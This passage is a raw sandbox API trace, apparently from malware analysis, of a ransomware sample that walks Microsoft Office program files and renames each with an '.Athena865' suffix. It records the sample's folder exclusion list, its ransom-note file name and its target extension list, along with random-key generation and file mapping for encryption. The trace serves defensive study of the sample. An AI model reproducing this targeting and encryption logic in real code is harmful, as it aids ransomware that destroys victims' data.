[0081.644] lstrlenW (lpString="v12") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0081.644] lstrlenW (lpString="vis") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0081.644] lstrlenW (lpString="vpd") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0081.644] lstrlenW (lpString="vvv") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0081.644] lstrlenW (lpString="wdb") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0081.644] lstrlenW (lpString="wmdb") returned 4 [0081.644] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0081.645] lstrlenW (lpString="wrk") returned 3 [0081.645] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0081.645] lstrlenW (lpString="xdb") returned 3 [0081.645] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0081.645] lstrlenW (lpString="xld") returned 3 [0081.645] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0081.645] lstrlenW (lpString="xmlff") returned 5 [0081.645] lstrcmpiW (lpString1="M.EXE", lpString2="xmlff") returned -1 [0081.645] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEM.EXE.Athena865") returned 65 [0081.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEM.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\onenotem.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEM.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenotem.exe.athena865"), dwFlags=0x1) returned 1 [0081.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEM.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenotem.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0081.646] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=245120) returned 1 [0081.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.646] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.647] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.647] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.648] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c080, lpName=0x0) returned 0x154 [0081.649] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c080) returned 0x170000 [0081.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.661] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.661] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.662] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0081.664] CloseHandle (hObject=0x154) returned 1 [0081.664] CloseHandle (hObject=0x17c) returned 1 [0081.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.665] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x26d70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONENOTEMANAGED.DLL", cAlternateFileName="ONENOT~1.DLL")) returned 1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2=".") returned 1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2="..") returned 1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2="windows") returned -1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2="bootmgr") returned 1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2="temp") returned -1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2="pagefile.sys") returned -1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2="boot") returned 1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2="ids.txt") returned 1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2="ntuser.dat") returned 1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2="perflogs") returned -1 [0081.665] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2="MSBuild") returned 1 [0081.666] lstrlenW (lpString="ONENOTEMANAGED.DLL") returned 18 [0081.666] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONENOTEMANAGED.DLL" | out: lpString1="ONENOTEMANAGED.DLL") returned="ONENOTEMANAGED.DLL" [0081.666] lstrlenW (lpString="ONENOTEMANAGED.DLL") returned 18 [0081.666] lstrlenW (lpString="Athena865") returned 9 [0081.666] lstrcmpiW (lpString1="NAGED.DLL", lpString2="Athena865") returned 1 [0081.666] lstrlenW (lpString=".dll") returned 4 [0081.666] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2=".dll") returned 1 [0081.666] lstrlenW (lpString=".lnk") returned 4 [0081.666] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2=".lnk") returned 1 [0081.666] lstrlenW (lpString=".ini") returned 4 [0081.666] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2=".ini") returned 1 [0081.666] lstrlenW (lpString=".sys") returned 4 [0081.666] lstrcmpiW (lpString1="ONENOTEMANAGED.DLL", lpString2=".sys") returned 1 [0081.666] lstrlenW (lpString="ONENOTEMANAGED.DLL") returned 18 [0081.666] lstrlenW (lpString="bak") returned 3 [0081.666] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0081.666] lstrlenW (lpString="ba_") returned 3 [0081.666] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0081.666] lstrlenW (lpString="dbb") returned 3 [0081.666] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0081.666] lstrlenW (lpString="vmdk") returned 4 [0081.666] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0081.666] lstrlenW (lpString="rar") returned 3 [0081.666] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0081.666] lstrlenW (lpString="zip") returned 3 [0081.666] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0081.666] lstrlenW (lpString="tgz") returned 3 [0081.666] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0081.666] lstrlenW (lpString="vbox") returned 4 [0081.666] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0081.666] lstrlenW (lpString="vdi") returned 3 [0081.666] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0081.666] lstrlenW (lpString="vhd") returned 3 [0081.667] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0081.667] lstrlenW (lpString="vhdx") returned 4 [0081.667] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0081.667] lstrlenW (lpString="avhd") returned 4 [0081.667] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0081.667] lstrlenW (lpString="db") returned 2 [0081.667] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0081.667] lstrlenW (lpString="db2") returned 3 [0081.667] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0081.667] lstrlenW (lpString="db3") returned 3 [0081.667] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0081.667] lstrlenW (lpString="dbf") returned 3 [0081.667] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0081.667] lstrlenW (lpString="mdf") returned 3 [0081.667] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0081.667] lstrlenW (lpString="mdb") returned 3 [0081.667] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0081.667] lstrlenW (lpString="sql") returned 3 [0081.667] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0081.667] lstrlenW (lpString="sqlite") returned 6 [0081.667] lstrcmpiW (lpString1="ED.DLL", lpString2="sqlite") returned -1 [0081.667] lstrlenW (lpString="sqlite3") returned 7 [0081.667] lstrcmpiW (lpString1="GED.DLL", lpString2="sqlite3") returned -1 [0081.667] lstrlenW (lpString="sqlitedb") returned 8 [0081.667] lstrcmpiW (lpString1="AGED.DLL", lpString2="sqlitedb") returned -1 [0081.667] lstrlenW (lpString="xml") returned 3 [0081.667] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0081.667] lstrlenW (lpString="$er") returned 3 [0081.667] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0081.667] lstrlenW (lpString="4dd") returned 3 [0081.667] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0081.667] lstrlenW (lpString="4dl") returned 3 [0081.667] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0081.668] lstrlenW (lpString="^^^") returned 3 [0081.668] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0081.668] lstrlenW (lpString="abs") returned 3 [0081.668] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0081.668] lstrlenW (lpString="abx") returned 3 [0081.668] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0081.668] lstrlenW (lpString="accdb") returned 5 [0081.668] lstrcmpiW (lpString1="D.DLL", lpString2="accdb") returned 1 [0081.668] lstrlenW (lpString="accdc") returned 5 [0081.668] lstrcmpiW (lpString1="D.DLL", lpString2="accdc") returned 1 [0081.668] lstrlenW (lpString="accde") returned 5 [0081.668] lstrcmpiW (lpString1="D.DLL", lpString2="accde") returned 1 [0081.668] lstrlenW (lpString="accdr") returned 5 [0081.668] lstrcmpiW (lpString1="D.DLL", lpString2="accdr") returned 1 [0081.668] lstrlenW (lpString="accdt") returned 5 [0081.668] lstrcmpiW (lpString1="D.DLL", lpString2="accdt") returned 1 [0081.668] lstrlenW (lpString="accdw") returned 5 [0081.668] lstrcmpiW (lpString1="D.DLL", lpString2="accdw") returned 1 [0081.668] lstrlenW (lpString="accft") returned 5 [0081.668] lstrcmpiW (lpString1="D.DLL", lpString2="accft") returned 1 [0081.668] lstrlenW (lpString="adb") returned 3 [0081.668] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0081.668] lstrlenW (lpString="adb") returned 3 [0081.668] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0081.668] lstrlenW (lpString="ade") returned 3 [0081.668] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0081.668] lstrlenW (lpString="adf") returned 3 [0081.668] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0081.669] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0081.669] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEMANAGED.DLL.Athena865") returned 71 [0081.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEMANAGED.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onenotemanaged.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEMANAGED.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenotemanaged.dll.athena865"), dwFlags=0x1) returned 1 [0081.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEMANAGED.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenotemanaged.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0081.670] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=159088) returned 1 [0081.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.670] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.671] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.671] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.671] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27070, lpName=0x0) returned 0x154 [0081.673] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27070) returned 0x170000 [0081.680] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.680] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.680] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.681] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0081.682] CloseHandle (hObject=0x154) returned 1 [0081.682] CloseHandle (hObject=0x17c) returned 1 [0081.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf42cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x182970, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONFILTER.DLL", cAlternateFileName="")) returned 1 [0081.683] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2=".") returned 1 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2="..") returned 1 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2="windows") returned -1 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2="bootmgr") returned 1 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2="temp") returned -1 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2="pagefile.sys") returned -1 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2="boot") returned 1 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2="ids.txt") returned 1 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2="ntuser.dat") returned 1 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2="perflogs") returned -1 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2="MSBuild") returned 1 [0081.684] lstrlenW (lpString="ONFILTER.DLL") returned 12 [0081.684] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONFILTER.DLL" | out: lpString1="ONFILTER.DLL") returned="ONFILTER.DLL" [0081.684] lstrlenW (lpString="ONFILTER.DLL") returned 12 [0081.684] lstrlenW (lpString="Athena865") returned 9 [0081.684] lstrcmpiW (lpString1="ILTER.DLL", lpString2="Athena865") returned 1 [0081.684] lstrlenW (lpString=".dll") returned 4 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2=".dll") returned 1 [0081.684] lstrlenW (lpString=".lnk") returned 4 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2=".lnk") returned 1 [0081.684] lstrlenW (lpString=".ini") returned 4 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2=".ini") returned 1 [0081.684] lstrlenW (lpString=".sys") returned 4 [0081.684] lstrcmpiW (lpString1="ONFILTER.DLL", lpString2=".sys") returned 1 [0081.684] lstrlenW (lpString="ONFILTER.DLL") returned 12 [0081.684] lstrlenW (lpString="bak") returned 3 [0081.684] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0081.684] lstrlenW (lpString="ba_") returned 3 [0081.684] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0081.684] lstrlenW (lpString="dbb") returned 3 [0081.685] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0081.685] lstrlenW (lpString="vmdk") returned 4 [0081.685] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0081.685] lstrlenW (lpString="rar") returned 3 [0081.685] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0081.685] lstrlenW (lpString="zip") returned 3 [0081.685] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0081.685] lstrlenW (lpString="tgz") returned 3 [0081.685] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0081.685] lstrlenW (lpString="vbox") returned 4 [0081.685] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0081.685] lstrlenW (lpString="vdi") returned 3 [0081.685] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0081.685] lstrlenW (lpString="vhd") returned 3 [0081.685] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0081.685] lstrlenW (lpString="vhdx") returned 4 [0081.685] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0081.685] lstrlenW (lpString="avhd") returned 4 [0081.685] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0081.685] lstrlenW (lpString="db") returned 2 [0081.685] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0081.685] lstrlenW (lpString="db2") returned 3 [0081.685] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0081.685] lstrlenW (lpString="db3") returned 3 [0081.685] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0081.685] lstrlenW (lpString="dbf") returned 3 [0081.685] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0081.685] lstrlenW (lpString="mdf") returned 3 [0081.685] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0081.685] lstrlenW (lpString="mdb") returned 3 [0081.685] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0081.685] lstrlenW (lpString="sql") returned 3 [0081.685] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0081.686] lstrlenW (lpString="sqlite") returned 6 [0081.686] lstrcmpiW (lpString1="ER.DLL", lpString2="sqlite") returned -1 [0081.686] lstrlenW (lpString="sqlite3") returned 7 [0081.686] lstrcmpiW (lpString1="TER.DLL", lpString2="sqlite3") returned 1 [0081.686] lstrlenW (lpString="sqlitedb") returned 8 [0081.686] lstrcmpiW (lpString1="LTER.DLL", lpString2="sqlitedb") returned -1 [0081.686] lstrlenW (lpString="xml") returned 3 [0081.686] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0081.686] lstrlenW (lpString="$er") returned 3 [0081.686] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0081.686] lstrlenW (lpString="4dd") returned 3 [0081.686] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0081.686] lstrlenW (lpString="4dl") returned 3 [0081.686] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0081.686] lstrlenW (lpString="^^^") returned 3 [0081.686] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0081.686] lstrlenW (lpString="abs") returned 3 [0081.686] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0081.686] lstrlenW (lpString="abx") returned 3 [0081.686] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0081.686] lstrlenW (lpString="accdb") returned 5 [0081.686] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0081.686] lstrlenW (lpString="accdc") returned 5 [0081.686] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0081.686] lstrlenW (lpString="accde") returned 5 [0081.686] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0081.686] lstrlenW (lpString="accdr") returned 5 [0081.686] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0081.686] lstrlenW (lpString="accdt") returned 5 [0081.686] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0081.686] lstrlenW (lpString="accdw") returned 5 [0081.686] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0081.687] lstrlenW (lpString="accft") returned 5 [0081.687] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0081.687] lstrlenW (lpString="adb") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0081.687] lstrlenW (lpString="adb") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0081.687] lstrlenW (lpString="ade") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0081.687] lstrlenW (lpString="adf") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0081.687] lstrlenW (lpString="adn") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0081.687] lstrlenW (lpString="adp") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0081.687] lstrlenW (lpString="alf") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0081.687] lstrlenW (lpString="ask") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0081.687] lstrlenW (lpString="btr") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0081.687] lstrlenW (lpString="cat") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0081.687] lstrlenW (lpString="cdb") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0081.687] lstrlenW (lpString="ckp") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0081.687] lstrlenW (lpString="cma") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0081.687] lstrlenW (lpString="cpd") returned 3 [0081.687] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0081.687] lstrlenW (lpString="dacpac") returned 6 [0081.687] lstrcmpiW (lpString1="ER.DLL", lpString2="dacpac") returned 1 [0081.688] lstrlenW (lpString="dad") returned 3 [0081.688] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0081.688] lstrlenW (lpString="dadiagrams") returned 10 [0081.688] lstrcmpiW (lpString1="FILTER.DLL", lpString2="dadiagrams") returned 1 [0081.688] lstrlenW (lpString="daschema") returned 8 [0081.688] lstrcmpiW (lpString1="LTER.DLL", lpString2="daschema") returned 1 [0081.688] lstrlenW (lpString="db-journal") returned 10 [0081.688] lstrcmpiW (lpString1="FILTER.DLL", lpString2="db-journal") returned 1 [0081.688] lstrlenW (lpString="db-shm") returned 6 [0081.688] lstrcmpiW (lpString1="ER.DLL", lpString2="db-shm") returned 1 [0081.688] lstrlenW (lpString="db-wal") returned 6 [0081.688] lstrcmpiW (lpString1="ER.DLL", lpString2="db-wal") returned 1 [0081.688] lstrlenW (lpString="dbc") returned 3 [0081.688] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0081.688] lstrlenW (lpString="dbs") returned 3 [0081.688] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0081.688] lstrlenW (lpString="dbt") returned 3 [0081.688] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0081.688] lstrlenW (lpString="dbv") returned 3 [0081.688] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0081.688] lstrlenW (lpString="dbx") returned 3 [0081.688] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0081.688] lstrlenW (lpString="dcb") returned 3 [0081.688] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0081.688] lstrlenW (lpString="dct") returned 3 [0081.688] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0081.688] lstrlenW (lpString="dcx") returned 3 [0081.688] lstrcmpiW (lpString1="DLL", 